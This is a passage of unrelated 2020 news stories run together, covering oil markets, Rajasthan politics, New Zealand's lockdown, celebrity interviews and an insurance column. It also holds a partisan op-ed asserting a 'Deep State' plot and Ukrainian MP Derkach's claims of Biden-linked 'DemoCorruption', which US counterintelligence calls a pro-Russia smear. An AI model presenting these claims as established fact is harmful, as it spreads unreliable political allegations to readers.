returned to the levels from before the pandemic, Aramcos Nasser said. On Monday, data from China showed that the factory deflation slowed down last month due to higher oil prices and industrial activity on track to reach pre-crisis levels soon. The Chinese data added substance to hopes of a continued recovery in the worlds second-largest economy, which is also the worlds top crude oil importer. On Tuesday, data out of Germany Europes largest economy also instilled hopes of recovery, as the ZEW survey of investor sentiment showed the economic sentiment improved in August more than analysts had anticipated. Later on Tuesday, the catalyst for oil prices will be the weekly inventory estimate of the American Petroleum Institute (API). By Tsvetana Paraskova for Oilprice.com More Top Reads From Oilprice.com: In the dwindling days of the Obama administration, literally hours before President Trump was sworn in, the Obama Department of Labor (DoL) breathlessly raced to file a barrage of administrative enforcement actions against federal contractors in the Office of Federal Contract Compliance Program (OFCCP). These lawsuits are against significant corporations such as Oracle and Google and are emblematic of the Obamaite exaltation of monolithic governmental power to the detriment of fundamental fairness, due process and, far too often, common sense. Americans dare not forget the Obamaite ethos of hope and trust -- hope for the best and trust the government knows better than you. In Obama's groupthink progressive government formulation, the government is not a tool for the people's use, but the very foundation upon which all of American prosperity is built. Obamas progressive/socialist government shorn of transparency laid claim to all successes and disavowed individualism. Genuine fairness, reason, or wisdom seldom come into play when policy edicts are delivered to an unquestioning, obedient public. Who can forget: if you've got a business, you didnt build that? In Obamas political realm, government is not dependent upon the people, but the people are dependent upon the government. All citizens are wards of the state. The all-powerful and all-knowing government Agency State decides the best path for each person and each endeavor. The Deep State Obamaite holdovers ensure that these anti-Jeffersonian principles never fade. Nowhere is this ethos more apparent than in the Department of Labor, where justice does not abide. Of course, the Trump Administration was undermined by a Deep State through a stunning disavowal and steady disregard of its powers to fire political apostates. President Trump has enemies behind every corner. Trumps Secretary of Labor, Eugene Scalia who despite his genetic bona fides as a conservative liberty-minded constitutionalist, has not moved the needle a whisker as regards reforming the social engineering Obama DoL under his charge. The OFCCP continues to avidly pursue the Obama eras politically motivated lawsuits against companies like Oracle for allegedly discriminatory wage practices using outcome-oriented statistical manipulation to find discrimination on paper without any evidence of actual Title VII discrimination. The stunning truth is that few, if any, of the OFCCPs social engineering victims have intentionally violated applicable labor laws. Unlike disparate treatment, which focuses on intentional discrimination, the disparate impact theory used by the OFCCP can find discrimination even in the absence of intent. Many of these disparate impact cases do not involve illegal or even actionable workforce discrimination under the myriad labor laws, specifically Title VII of the Civil Rights Act of 1964. Even more stunning is the fact that the OFCCP has the power to investigate, charge, adjudicate and punish companies like Oracle -- even though Oracle has likely not violated the discrimination laws legislated by Congress. In 1977, the DoL/OFCCP unlawfully fabricated their own rules that empowered them to institute administrative enforcement proceedings in which it could unilaterally impose massive compensatory damages awards and broad injunctive relief upon whomever they perceive to have violated the rules of their empire pursuant to 41 C.F.R. 60-1.26(a)(2). The OFFCP ignores Congress and bypasses the courts because they have ordained for themselves the power to mete out justice through their own in-house judges. Thus, the OFCCP erects a shadow governmental empire, consolidating power stolen from the other branches of the government. Remember, these claims always arise from the context of a contractual relationship with the government. Oracle has fought back in an effort to strike a blow for liberty and the rule of law. Oracle understands through experience that their chances of getting justice in the DOL are between slim and none, and slim just left town. Oracle filed a lawsuit against the OFCCP/DOL alleging the OFCCP house rules court system is an unconstitutional violation of the separation of powers, which of course, it is. In a Kafkaesque grotesquerie, however, the Department of Justice is defending the DoL and advancing the Obama-era objectives of crippling regulation and oppressive socialism without legal mandate. The Swamp gets deeper, as do the self-inflicted wounds of the Trump administration. The solution is simple. The administration must use its powers to govern. These OFCCP lawsuits must be dismissed. American tax dollars should not be spent defending the DOL and its unconstitutional, anti-business policies. W. Bruce DelValle is a constitutional law, technology law, and international law litigator and founding member of the Washington, D.C. litigation firm Fein & DelValle PLLC. He is a native Texan who grew up on the Gulf Coast of Florida, graduated from Penn State University and worked as a nuclear power engineer prior to graduating cum laude from Washington and Lee University School of Law. (Newser) Alyssa Milano says she is losing large amounts of hair as a result of COVID-19. The actress, who recently tested positive for coronavirus antibodies, months after other tests apparently missed the infection, says she is still dealing with symptoms four months after falling seriously ill, CNN reports. In a video posted on Instagram, the 47-year-old brushes her wet hair with a detangler brush and displays large chunks of hair tha came out. "I just wanted to show you the amount of hair that is coming out of my head as a result of COVID," she says. "One brushing, this is my hair loss from COVID-19. Wear a damn mask." story continues below Milano counts herself among the "long hauler" group of patients who still experience symptoms months after infected. With such patients, "what were seeing is that this is a byproduct of the inflammation from the virus itself," New York City emergency physician Dr. Robert Glatter tells Today. "In other words, dead fragments of virus elicit an immune response. And as a result of this, the body reacts and produces certain types of substances that can really have adverse effects." When Milano disclosed last week that she had tested positive for antibodies, she urged her followers to take the pandemic seriously. "This illness is not a hoax," she said. "I thought I was dying. It felt like I was dying." (Read more Alyssa Milano stories.) Updated 5:32 p.m. GREENSBORO Authorities charged a 23-year-old woman with first-degree murder on Monday in a domestic-related stabbing, according to a news release from Greensboro police. Angelica Marie Wiley of Greensboro is accused of killing 33-year-old Michael Tyrone Mayo Jr. of Greensboro. Mayo was assaulted Sunday afternoon and police closed the 500 block of South Regional Road while they investigated the crime. Mayo later died, police said Monday morning. Posted 11:45 a.m. GREENSBORO Authorities are investigating a homicide after the victim of a Sunday assault died from his injuries, police said in a news release. Police identified Michael Tyrone Mayo Jr., 33, of Greensboro as the victim. Officers responded to and closed the 500 block of South Regional Road to investigate the assault about 2 p.m. Sunday, according to police. The road reopened Sunday evening. Anyone with information about this incident is asked to contact Greensboro/Guilford Crime Stoppers at 336-373-1000. Citizens can also download the mobile P3tips app for Apple or Android phones to submit a mobile tip, or go to P3tips.org to submit a web tip. All tips to Crime Stoppers are anonymous. BAKU, Azerbaijan, Aug.11 Trend: Prime Minister of Azerbaijan Ali Asadov held a phone talk with the Chief Executive Officer of the BP Group Bernard Looney on August 11, the press service of Azerbaijani Cabinet of Ministers told Trend. During the talks, Asadov and Looney highly praised the long-term productive and mutually beneficial partnership between Azerbaijan and BP. The parties also exchanged opinions on the bilateral cooperation prospects, expressing confidence that this cooperation will continue to successfully develop. Attempts to label and attack the source of information only confirm the revelation of the largest DemoCorruption scheme, says Ukrainian MP (independent) Andrii Derkach in his comments provided to Interfax-Ukraine on Monday regarding a recent statement by Director of the United States National Counterintelligence and Security Center William Evanina. According to Derkach, manipulations around the published tapes testify to the great harm done to DemoCorruption. "Attempts to put labels on me only confirm that we have uncovered the largest DemoCorruption scheme. If you pay attention to how primitive the American media, close to the Democratic Party, pulled the information from my report, you will understand that the facts I made public did severe harm to DemoCorruption. Really severe, judging by the reaction of the corrupt officials" said the MP. Derkach emphasized that the DemoCorruptionists could not convince people that the recordings published by him with the voices of people which appear to be Poroshenko-Biden and Poroshenko-Putin are fake. "Apparently, the recordings of Poroshenko-Biden and Poroshenko-Putin, published by me, no longer have the status of fabricated. They were posted by most of the world's reputable publications. They were not contested by examination. They were not refuted in court. And since the DemoCorruptionists failed to convince the citizens, neither of Ukraine nor the United States that the recordings were allegedly fake, they chose the strategy of attacking the source. This means we have stirred up the hornets' nest. The reaction of DemoCorruptionists shows how accurately we hit the target Derkach said. He stressed that the result of the investigation is crucial to him. "We are not interested in Biden as a candidate for the US presidency and the following showdown between representatives of Republicans and Democrats in the US intelligence services. We are interested in Biden as a former US Vice President who covered up Poroshenko's corruption schemes while making money himself. All my statements dealt with corruption in Ukraine and international corruption, which harms the rights of our fellow citizens protected by the Laws and the Constitution of Ukraine. If someone from American politicians or civil servants cynically used the recordings I made public in their showdowns between parties, games of special services supporting one side or the other, then this is not a question I am responsible for, as well as the issue of interpretation and making conclusions from the recordings heard. We are interested in real steps to return to Ukraine $6 billion withdrawn from Ukraine through government bonds schemes during the reign of Yanukovych and at least $8 billion during the reign of Poroshenko. We must also stop the corruption scheme using the reverse of Russian gas under the guise of European supplies to Ukraine because all citizens of Ukraine suffer from excessive extortionate tariffs" Derkach said. Commenting on the interference in the US presidential elections, the MP noted that, according to the majority of Ukrainian experts and politicians, it really happened. "In 2016, on the part of the former President of Ukraine Petro Poroshenko, the head of NABU created with the participation of the American Embassy, coordinated actions of diplomats of Ukraine and the United States at that time, with the participation of MP of Ukraine Serhiy Leshchenko. The goal was to discredit the campaign manager of the US presidential candidate Donald Trump Paul Manafort by releasing unconfirmed information and falsified evidence into the press, which in turn was confirmed by the recordings of the conversation between Poroshenko and Biden on August 19, 2016 (where this is very well heard)" Derkach said. He stressed that earlier there was no resonance for such statements due to the lack of support with documents. "Earlier, when the media, and especially politicians, talked about economic and political corruption, accused someone, very rarely such facts were confirmed by documents, account entries, names of people involved, the revelation of corruption schemes, recordings. And the society did not fully perceive such accusations. But in our case, in our release at a press conference with supporting facts, it shook the whole country, criminal investigations began, the danger for corrupt officials became quite real" Derkach said. The MP recalled the five stages of the Kubler-Ross model, according to which those experiencing negative changes in life go through a series of five emotions: denial, anger, bargaining, depression and acceptance. "Grant eaters, Soros's allies and other members of the large DemoCorruption movement are now in the second stage. The stage of anger. Hence the labels "KGB", "RF" and other manifestations of anger as a result of powerlessness. There is not much time left before the criminal cases are solved. According to the Kubler-Ross model, there are three steps left before the prison for DemoCorruptionists: bargaining, depression and acceptance" Derkach said. The most dangerous thing, in the opinion of the MP, is that DemoCorruption negatively affects the relations between two strategic partners Ukraine and the USA. "We really need bipartisan support from our strategic partner, the USA. The difference is that for us, it is crucial that such bipartisan support would not be provided by damaging the sovereignty of Ukraine and covering international corruption. The main purpose of our activity is pursuing the interests of Ukraine, exposing international corruption, maintaining partnership relations between strategic partners Ukraine and the USA" Derkach summed up. On August 7, the Director of the United States National Counterintelligence and Security Center Evanina said that with the help of the actions of MP of Ukraine Andrii Derkach, a process of discrediting the presidential candidate from the Democratic Party Joseph Biden was taking place. "For example, pro-Russia Ukrainian parliamentarian Andrii Derkach is spreading claims about corruption including through publicizing leaked phone calls to undermine former Vice President Bidens candidacy and the Democratic Party. Some Kremlin-linked actors are also seeking to boost President Trumps candidacy on social media and Russian television" Evanina said in an August 7 statement. Uttar Pradesh's Noida police on August 10 arrested a 33-year-old man for threatening to harm Prime Minister Narendra Modi. The accused called up the emergency number '100' and threatened to harm PM Modi, officials said. The accused, identified as Harbhajan Singh, lives in Sector 66 and hails from Haryana, the police officials said, adding the man appears to be a drug addict. Follow our LIVE blog for the latest updates on the novel coronavirus pandemic Harbhajan had called up 100 number and threatened to harm the Prime Minister. The local Phase-3 police station swung into action and traced the man, who was then arrested from Mamura, Additional Deputy Commissioner of Police, Central Noida, Ankur Aggarwal said. The accused is being questioned. Prima facie, he appears to be a drug addict. He has been sent for medical examination to ascertain other details, Aggarwal said. Police said further proceedings were being carried out. (With agency inputs) Click here for Moneycontrols full coverage of the novel coronavirus pandemic CDC molecular biologist Silvina Masciotra is part of a team advising the White House task force on testing issues. resize icon View Larger Close CDC molecular biologist Silvina Masciotra is part of a team advising the White House task force on testing issues. Silvina Masciotra normally works in one of the laboratory buildings at CDC headquarters in Atlanta. But lately, this expert on HIV testing has been shuttling back and forth to Washington to help states keep their COVID-19 testing programs running. Silvina has been part of the CDC Testing and Diagnostics Workgroup assigned to work with the White House Coronavirus Task Force since June. Its been an interesting journey, she says. Ive never had a chance to work on something thats so high-level. Working from the Department of Health and Human Services offices in the shadow of the Capitol, she provides advice to testing programs in several Northeastern and Midwestern states and two territories. We make sure the jurisdictions can reach out to us, evaluate their test plans and the equipment they have in place, and how to help them best use it, she says. We communicate with manufacturers to assist the jurisdictions with their needs and to help manufacturers understand the demand, so they can work with them in the most efficient way and everybody can meet their goals. This is not Silvinas first emergency response. In 2016, she deployed to Angola to help stop an epidemic of yellow fever and then to Puerto Rico to assist with Zika virus testing. A longtime specialist in HIV testing, she has also advised HIV/AIDS programs in the Dominican Republic, Cambodia, and the Democratic Republic of the Congo. But working among the top levels of the US government is a different experience, one largely dominated by meetings, both in-person and virtual. Its not like being in a lab, when you go in and you have 1,000 tests or so run in a day, she says. This is more about communicating, reaching out, understanding the dynamic of how things work. But in any response, flexibility and resilience are super-important. You have to learn to overcome challenges, Silvina says. You might find yourself trying to find solutions and having to think outside the box. You have to be very resourceful. We want to have protocols in place and follow those, but sometimes you have to be creative and find a way to overcome challenges. Silvina got interested in biology in high school. In college, she got an internship in a laboratory in the same hospital where I was born, actually, she says. That opened the door to what Im doing today. She got a job as a lab technician specializing in viral testing while finishing her degree. She got to work with both physicians and patients in that role and to make a difference, which was something I was always very attracted to. She first came to CDC in the late 1990s after earning a masters degree in molecular biology in her native Argentina. A three-month guest researching position led to a three-year graduate fellowship at CDC. After additional study on biotechnology in Europe, she returned to a full-time job in 2003. Currently, she leads CDCs HIV reference laboratory and test evaluation programs. With COVID-19 still spreading, Silvina says a lot of unknowns about the disease remain. Researchers are working to answer those questions quickly But until we get all those answers, caution and prevention are the way to go, she says. We need to keep our distance and wear masks. We need to keep in mind the vulnerable population. Meghan Markle has confirmed that she plans to vote in the upcoming US presidential election, while urging others to 'exercise their fundamental right' in a rare interview. The 39-year-old mother-of-one, who was born in Los Angeles, spoke to Marie Claire about the importance of voting, and shared a poignant quote from New Zealand's most famous suffragist leader Kate Sheppard, revealing that both she and husband Prince Harry 'have referred to [her words] often' for inspiration and guidance. 'I know what it's like to have a voice, and also what it's like to feel voiceless,' Meghan said. 'I also know that so many men and women have put their lives on the line for us to be heard. Speaking out: Meghan Markle has confirmed that she will vote in the presidential election this year, while urging others to 'exercise their fundamental right' in an interview with Marie Claire Inspiration: The 39-year-old shared a quote from New Zealand's most famous suffragist Kate Sheppard, revealing that both she and her husband Prince Harry have 'referred to it often' 'And that opportunity, that fundamental right, is in our ability to exercise our right to vote and to make all of our voices heard.' She then shared a quote from Sheppard - New Zealand's most outspoken suffragist leader whom Meghan has previously quoted - explaining that it is 'one of her favorites' and 'one that my husband and I have referred to often'. 'Do not think your single vote does not matter much,' the quote begins. 'The rain that refreshes the parched ground is made up of single drops.' Poignant: 'Do not think your single vote does not matter much,' the quote from Sheppard (pictured) begins. 'The rain that refreshes the parched ground is made up of single drops' Meghan concluded: 'That is why I vote.' The former Suits star's decision to speak out about her political plans marks yet another major break from royal tradition for Meghan; traditionally members of the monarchy are expected to remain politically neutral, and therefore do not speak out about their opinions in public. However, Meghan confirming to the world that she will be voting in the presidential election will come as no surprise to those closest to her - particularly after it was revealed by a royal source in January that the Duchess of Sussex was aiming to become more 'politically engaged' after she and Prince Harry quit their roles as senior royals at the start of the year. At the time, an insider told the Daily Mail that Meghan had grown 'frustrated' by the fact that she was not able to be actively involved in politics while she was a senior member of the monarchy, and that she wanted to 'take advantage' of the freedom to share her opinions with the world. 'The Duchess is said to be frustrated that she was forced to stay out of politics after getting engaged to Harry,' the source said. 'She has strong political opinions and will now take advantage of the greater freedom she has to express them publicly.' Meaningful: Meghan and Harry previously shared the Sheppard quote on Instagram at the end of their 2018 visit to New Zealand - along with this image of the Duchess of Sussex in Rotorua Meghan did not reveal who she is planning to vote for the in the upcoming election - however, before marrying Prince Harry, she was incredibly outspoken about her dislike of President Donald Trump, branding him 'misogynistic' and 'divisive' during a talk appearance in 2016, shortly after he had won the election. When Trump made an official state visit to the UK in June 2019, Meghan did not join the other royals in meeting him - a move that some royal sources claimed was her way of showing her disapproval of the President, although officially, her absence was blamed on the fact that she was still on maternity leave. However, it was revealed in November 2019 that Meghan had invited Hillary Clinton to visit her and baby Archie at Frogmore Cottage - the family's home in the UK - where the two women were said to have enjoyed a 'very warm, sweet' meeting. Criticism: Before marrying Harry, Meghan was outspoken about her dislike for President Donald Trump, branding him 'misogynistic' and 'divisive' in a 2016 interview after he won the election Meghan's new interview with Marie Claire is not the first time that she has spoken out about the importance of voting however; during an official visit to New Zealand with Prince Harry in 2018, the Duchess of Sussex marked the 125th anniversary of women getting the right to vote by once again quoting Sheppard during a speech at Government House. 'The achievements of the women in New Zealand who campaigned for their right to vote, and were the first in the world to achieve it, are universally admired,' Meghan said at the time, before going on to praise the country's suffrage movement. 'Womens suffrage is not simply about the right to vote for women but also about what that represents: the basic and fundamental right of all people, including those members of society who have been marginalized, whether through reasons of race, gender, ethnicity or orientation, to be able to participate in the choices for their future and their community.' Meghan then concluded her speech by sharing another quote from Sheppard: 'All that separates, whether race, class, creed, or sex, is inhumane, and must be overcome.' The Marie Claire interview is also not the first occasion that Meghan has shared her 'favorite' Sheppard quote. In November 2018, during their official visit to New Zealand, the Duke and Duchess of Sussex shared the suffragist leader's words on Kensington Palace's official Instagram account, while posting an image of Meghan cradling her baby bump while surrounded by giant redwood trees in Rotorua. Along with the quote from Sheppard, the couple thanked the people of New Zealand for a 'wonderful' visit. So far in this column, Ive written several articles that are titled, or could have been titled, Just Because Its Not Covered Doesnt Mean Its Not Covered. Sometimes a policy almost certainly was never intended to cover a particular type of loss, but when a specific set of circumstances and facts coincide with a quirk in policy language, we may find coverage where none was arguably ever intended. Thats the subject of this article. For example, an ISO HO 00 03 (HO-3) homeowners policy covers three types of direct damage: (1) Coverage A for damage to the dwelling, (2) Coverage B for damage to other structures, and (3) Coverage C for damage to personal property. If a homeowners in-ground swimming pool is damaged by a covered peril, coverage usually falls under Coverage A or B. However, in the case of an ISO HO 00 04 (ho-4) renters policy, there is only one type of direct damage coverage and that is Coverage C for damage to personal property. So, what happens if someone insured under an HO-4 policy owns an in-ground pool and its damaged by a covered peril? Theres no Coverage A or B on an HO-4 policy, so does that mean theres no coverage for damage to this personally owned property? Lets consider an actual claim. A husband and wife owned an incorporated machine shop in a rural area. They insured the steel Butler-type building and business personal property on a commercial package policy. They also lived in the building, in an apartment at the rear of the structure, and insured their personal property and liability exposures on an ISO HO-4 policy. Often their grandchildren visited on the weekends. Primarily for their grandchildrens benefit, they installed an in-ground swimming pool at the rear of the building, presumably because this was less dangerous than playing with lathes, drill presses, and laser cutters. During a severe storm, a tree was uprooted and caused about $3,000 damage to the swimming pool. The claim was reported to their agent who had placed both their commercial and personal lines insurance with two different insurers. The commercial lines carrier denied the claim as this was an undeclared structure and most of the damage was arguably excluded under the Property Not Covered section of the commercial property policy. The HO-4 carrier also denied the claim on the basis that the swimming pool was real property, not personal property, and without Coverages A or B, there is no coverage under an HO-4 for real property, ONLY personal property. The adjuster advised that personal property was property that was movable and not affixed to the real estate. The agent argued for coverage, citing several policy provisions to support that contention. The first issue was what constitutes personal property? If you asked the owners to describe their business property, theyd likely point to the equipment, machinery, stock, etc., owned by and used in their business. If you asked them what is their personal property, theyd likely indicate their apartment furniture, clothing, and of course, the swimming pool they personally own. Blacks Law Dictionary defines personal property in a traditional way, but includes the following: Personal property also can refer to property which is not used in a taxpayers trade or business or held for the production or collection of income. When used in this sense, personal property could include both realty (e.g., a personal residence) and personalty (e.g., personal effects such as clothing and furniture). The term personal property is not defined in the HO-4, so the agents argument was that the Blacks Law Dictionary was, from the insureds perspective, a reasonable interpretation of what personal property means. When a contract term has more than one reasonable interpretation, that term may be deemed to be ambiguous and, if so, the insureds interpretation usually prevails. Next, the agent pointed out that the HO-4s Property Not Covered section included a lengthy list of property that was specifically excluded. If the policy drafters did not want to cover real property in general or swimming pools in particular, they could have included that in this list of excluded property, but they didnt. Finally, the agent directed the adjusters attention to the Additional Coverage Collapse. This coverage says, Loss to an awning, fence, patio, pavement, swimming pool, underground pipe, flue, drain, cesspool, septic tank, foundation, retaining wall, bulkhead, pier, wharf or dock is not includedunless the loss is a direct result of the collapse of a building. In other words, IF the insureds swimming pool had been damaged, not by windstorm, but by the collapse of the machine shop building, there the policy clearly would have covered that loss. However, the adjuster had said that ONLY personal property is covered by the HO-4. So, if there is collapse coverage for damage to the swimming pool, then the swimming pool must be personal property since, according to the adjuster, thats the only type of property coverage by the policy. The adjuster, conceding that the scales of justice appeared to tip in favor of the insureds, paid the claim under the HO-4 policy. Is a renters policy intended to cover damage to real property under Coverage C? Probably not, but in this confluence of circumstances logic and policy language the adjuster acquiesced and paid the claim. If there is a need to clarify the contract language, an easy fix would be an entry for real property in the Property Not Covered section of the policy. Next month, well examine another potentially erroneous preconception about coverage in a CGL policy. We know that there is no coverage if a contractor damages his own work. Or is there? Wilson, CPCU, ARM, AIM is the founder and CEO of InsuranceCommentary.com and the author of four books, including When Words Collide: Resolving Insurance Coverage and Claims Disputes. Rajasthan chief minister Ashok Gehlot said on Tuesday that peace and brotherhood will remain in Congress party. and attacked the BJP for trying its best to topple his government. The CMs remarks came a day after a three-member party was formed by Congress president to look into the grievances of its rebel leaders in Rajasthan. Gehlot also said that his government will complete its full term. Peace and brotherhood will remain in our party. BJP tried its best to topple the government, but in the end, all our party MLAs are together, not even one has left us, Gehlot told media before leaving for a Congress Legislature Party (CLP) meeting scheduled later in the day in Jaisalmer. He added that the future road map will be decided according to the decisions taken on Monday. The high command has constituted a three member committee to look into the grievance of them (dissidents). Decisions were taken yesterday and now accordingly the future road map will be decided, the CM said. Hitting out at the Bharatiya Janata Party, Gehlot said that over 100 MLAs stayed united despite all efforts of by the BJP to topple the government. They (BJP) tried everything from horse trading to threatening but all stood tall. He said the BJP had faced defeat and the people, workers and MLAs have shown that their (BJPs) conspiracy will not succeed. Gehlot accused the saffron party of doing politics in the name of religion, saying the BJP divides and wins polls. Ashok Gehlot exuded confidence that his government will complete its full term. The Congress is united and the government will run for five years. We have the mandate, said Gehlot. I have told them (MLAs) that I will take care of you all as guardian till I am alive. They have faith on high command and me, which will be maintained, he added. Earlier, Gehlot met three independent MLAs - Suresh Tak, Om Prakash Hudla and Khushveer Singh - at his residence. Tak said they told the chief minister that they were with him. On Monday, rebel Congress leader Sachin Pilot met former party president Rahul Gandhi in New Delhi following which the three-member panel was formed. They have had a frank, open and conclusive discussion. Shri Sachin Pilot has committed to working in the interest of the Congress party and the Congress government in Rajasthan, Congress general secretary KC Venugopal said in a statement hours after Sachin Pilots meeting with Rahul Gandhi. Later on Monday night, welcoming the decision to form a panel, Pilot said that he was not after any post and thought certain issues had to be raised for the benefit. The crisis in Rajasthan Congress that had been brewing for nearly a month when Sachin Pilot was sacked as deputy chief minister as well Rajasthan Congress president on July 14, appears to have been diffused after Mondays development. Alarm: New Zealand Prime Minister Jacinda Arden is also imposing restrictions outside Auckland. (TVNZ via AP) New Zealanders on Wednesday scrambled to stock up on essentials as the country's biggest city prepared to go into lockdown again, following new cases of the coronavirus that ended a 102-day record run without any new infections. Prime Minister Jacinda Ardern announced overnight that she was shutting down Auckland after four new cases of COVID-19 were discovered in the city from the same family, despite the international borders' being shut to foreigners and returning New Zealanders put in mandatory quarantine. The government has said the source of the new infections was unknown so far. Long queues were reported outside supermarkets in Auckland and across other parts of the country, as people raced to stock up on food and other essential items before the new restrictions took effect from noon. New Zealand's biggest city will move back into alert level-3 lockdown, which would mean people should stay away from work and school, and gatherings or more than 10 people would again be restricted. The restrictions will be in effect for three days, until Friday. The rest of New Zealand will move into level 2, meaning social distancing measures would be applied and mass gatherings would be limited to 100 people. Health Minister Chris Hipkins told Radio New Zealand on Wednesday that the government was considering making mask wearing mandatory for Aucklanders. New Zealand's successful fight against COVID-19 was hailed globally, and the Pacific island nation of 5 million was seen as one of the safest places, as the pandemic raged globally. It marked 100 days without a domestic transmission of the coronavirus on Sunday, but warned against complacency as countries like Vietnam and Australia which once had the virus under control now battle resurgences. Calls have grown to postpone the national election scheduled for Sept. 19, as political parties suspended campaigns due to the new restrictions. "It's going to be very difficult to have an election in mid-September when we are now mid-August," opposition National Party leader Judith Collins told Newshub. Ardern, who is seen winning comfortably, according to opinion polls, has said she has not yet considered the impact of the new restrictions on the polls. Rajesh Asnani By Express News Service JAIPUR: The return of Sachin Pilot to the Congress fold without any major concessions to him marks a huge victory for CM Ashok Gehlot. The party has gone as far as setting up a committee that will look into Pilots grievances. The message is clear: the Gehlot government is safe for now. Gehlot has also succeeded in foiling BJPs plans to topple his government and in its mission to damage the Congress at the national level soon after the MP shocker. Pilot has lost his twin key posts in the state; that of being the PCC chief and deputy CM, in his fight that raged almost a month. Sources say there will be clarity soon over what has been worked out. But the big questions are: why did Pilot relent after a month-long revolt? Has he had to compromise his stature or has he sealed some secret deal with the party leadership? Gehlot had called him nikamma (inefficient) and nakaara (useless). One of the reasons for Pilots climb-down appears to be the bitter truth of the number of MLAs supporting him. In contrast, the pro-Gehlot MLAs stood firm even as they remained corralled in Jaipur and Jaisalmer hotels for nearly a month. The final straw was former BJP CM Vasundhara Rajes tough posturing with the party leadership. The BJP, too, was forced to herd its MLAs in Gujarat, forcing a possible rethink in Pilot about the futility of his ambition to bring down the Gehlot the government. Another question is whether Pilot would be rehabilitated. Most observers discount such a possibility, but say a face-saver involving his shifting to Delhi could be offered wherein he might get a party position. ALSO READ | My fight is for principles, never hankered after any post: Sachin Pilot The most significant aspect of the Pilot climb-down was the unabashed U-turn of his key strategist, Bhanwarlal Sharma, who had camped in Manesar for a month. State Congress president Govind Singh Dotasra on Monday ruled out any possibility of a leadership change in the state, saying it is merely a rumour. "There is no such thing or discussion on change in leadership. It is a fake and hollow rumour. Ashok Gehlot is the chief minister and he will remain so for five years," Dotasra told reporters here. Dotasra along with other Congress leaders were here to meet the Rajasthan Speaker C P Joshi ahead of the assembly session convened from August 14. He also said everyone is free to speak in a meeting but decisions ultimately are taken by the party high command. ALSO READ | We have managed to keep one of our own with us: Jitin Prasada on Sachin Pilot "There is a freedom for every member to put forth his views but decisions ultimately are taken by the party high command. Everything is in the knowledge of the party high command and whatever decision is taken, it will be right," he said. When asked whether the party's doors for Sachin Pilot camp have been closed, he said, "Doors were open. They have run away. We have not asked them to go." The party's state unit chief said party leaders met Speaker Joshi on Monday so that the House runs smoothly when the session begins on August 14 and issues related to people are discussed peacefully in the House. He also said the Congress will become a party in the court on the issue of merger of six BSP candidates as they are now the Congress legislators. (With PTI Inputs) Source: Xinhua| 2020-08-12 00:26:02|Editor: huaxia Video Player Close TOKYO, Aug. 12 (Xinhua) -- Japan's current account surplus dropped to a more than five-year low in the first half of 2020 as the coronavirus pandemic took a severe toll on the nation's exports, the government said in a report on Tuesday. According to the Finance Ministry, in the first half of 2020, the current account surplus stood at 7.31 trillion yen (68.74 billion U.S. dollars), marking its lowest level since the second half of 2014. The ministry also said in its preliminary report that the current account surplus shrank 31.4 percent during the first six months of 2020 compared with the same period last year. The goods trade balance logged a 1.10 trillion yen deficit (10.34 billion U.S. dollars), due to exports of automobiles and related parts being particularly hard hit by the global pandemic, the data showed. Compared to a year earlier, exports tumbled 15.6 percent to 32.01 trillion yen (301.01 billion U.S. dollars), while imports fell 12.3 percent to 33.10 trillion yen, the ministry also said. During the first six months of 2020, the primary balance, reflecting returns on investments made overseas, booked a surplus of 10.43 trillion yen (98.05 billion U.S. dollars), down 4.0 percent from a year earlier. Services trade, which includes inbound travelers as well as cargo from shipping, booked a 1.17 trillion yen deficit (11 billion U.S. dollars), as stricter restrictions were imposed on international travel in a bid to combat the spread of the novel coronavirus, the ministry also said. Japan reported a current account surplus of 167.5 billion yen (1.57 billion U.S. dollars) for the month of June, marking the 72nd straight month of surplus, according to the government's latest data set. In this recording period, Japan posted a goods trade deficit of 77.3 billion yen (726.76 million U.S. dollars), staying in the red for a third straight month, while its services trade deficit came in at 157.7 billion yen (1.48 billion U.S. dollars), also down for a third month. The nation's primary income, however, posted a surplus of 426.4 billion yen (4 billion U.S. dollars), although this was 5.8 percent lower compared to the previous year, the ministry said. Japan's current account surplus is one of the broadest measures of its trade with the rest of the world. The data is keenly eyed by the Bank of Japan (BOJ) and the Finance Ministry ahead of new potential policy changes or monetary easing or tapering measures. In Japan, the current account surplus increases the nation's net foreign assets by the corresponding amount, and a current account deficit does the reverse. Both the Japanese government and private payments are included in the calculation and it is called the current account because goods and services are generally consumed in the current period. Enditem C ardi B has called out male rappers for not speaking out about the death of Breonna Taylor. The rapper has said she wishes more men in the industry would call for justice for the 26-year-old paramedic, who was shot dead by police in her home in Louisville, Kentucky, in March. The officers justified entering with a so-called no-knock warrant. Cardi, real name Belcalis Marlenis Almanza, told Elle USA: That is so insane to me. [I saw] Breonna Taylors name everywhere, but I didnt really know her story. Cardi B is one of the stars calling for justice for Breonna Taylor / Rich Fury/Getty Images for Fashion Nova What they did to her is really f***ed up. Really f***ed up. Whats the excuse? Why is the cop not in jail? Wasnt what he did a crime? Its a crime! And no apology. No apology. No video of the cop coming out crying, I f***ed up. I dont this. I dont that. Nothing. Its nothing. I dont even know how her mom still holds her head up. Unbelievable. The death of Taylor reminded Cardi of when her own cousin was murdered and she said: I remember everybody waking up at 3 a.m. and driving all the way to New Jersey, to the hospital. And through all that driving, youre crying and scared and everything. She is among a host of high-profile women, including Beyonce, Oprah Winfrey, Olivia Wilde and Sarah Paulson to call for charges to be brought against the officers involved in Taylors murder: Jon Mattingly, Brett Hankison, and Myles Cosgrove and said she wishes she saw more male rappers were speaking out. Breonna Taylor posing during a graduation ceremony in Louisville Kentucky / Courtesy of Family of Breonna Taylor Taylor was shot by police officers (Courtesy of Family of Breonna Taylor) She said: A woman like Breonna Taylor, she was young. She looked like she was listening to your music. She looked like she was your fan. You should stick up for her. She added: Imagine how frustrated her mom was, crying, probably hysterical. The cops call her saying her daughter is in the hospital, and her daughter is not even there. Then the person whos supposed to protect her is asking her mom, Do you know anybody who [would] want to hurt Breonna Taylor? when you guys know who killed her! Cardi also said she will do whatever it takes to get Democratic challenger Joe Biden elected to unseat Donald Trump, even though she supported Bernie Sanders. She said: Those people that he caters [to], hes not going to do anything for them. Its not like Republicans are getting better housing. Its not like Republicans are getting better benefits. Theyre not. Hes not doing anything for anybody. Hes just saying things that appease the same people. I want a president who makes me feel secure. I want a president who understands the pain of the people. I want a president who is going to give us answers. Thats why I like [New York governor Andrew] Cuomo. I like him because he makes me feel like hes listening to me. She has been calling on her fans to become more engaged in politics away from the presidential level, saying: You can vote for DAs [District Attorneys]. You can vote for mayors. You can vote for your district. Not everything is the president. You know what Im saying? Reporting by Press Association A t least one protester has died during a second night of anti-Government demonstrations in Belarus sparked by the results of the 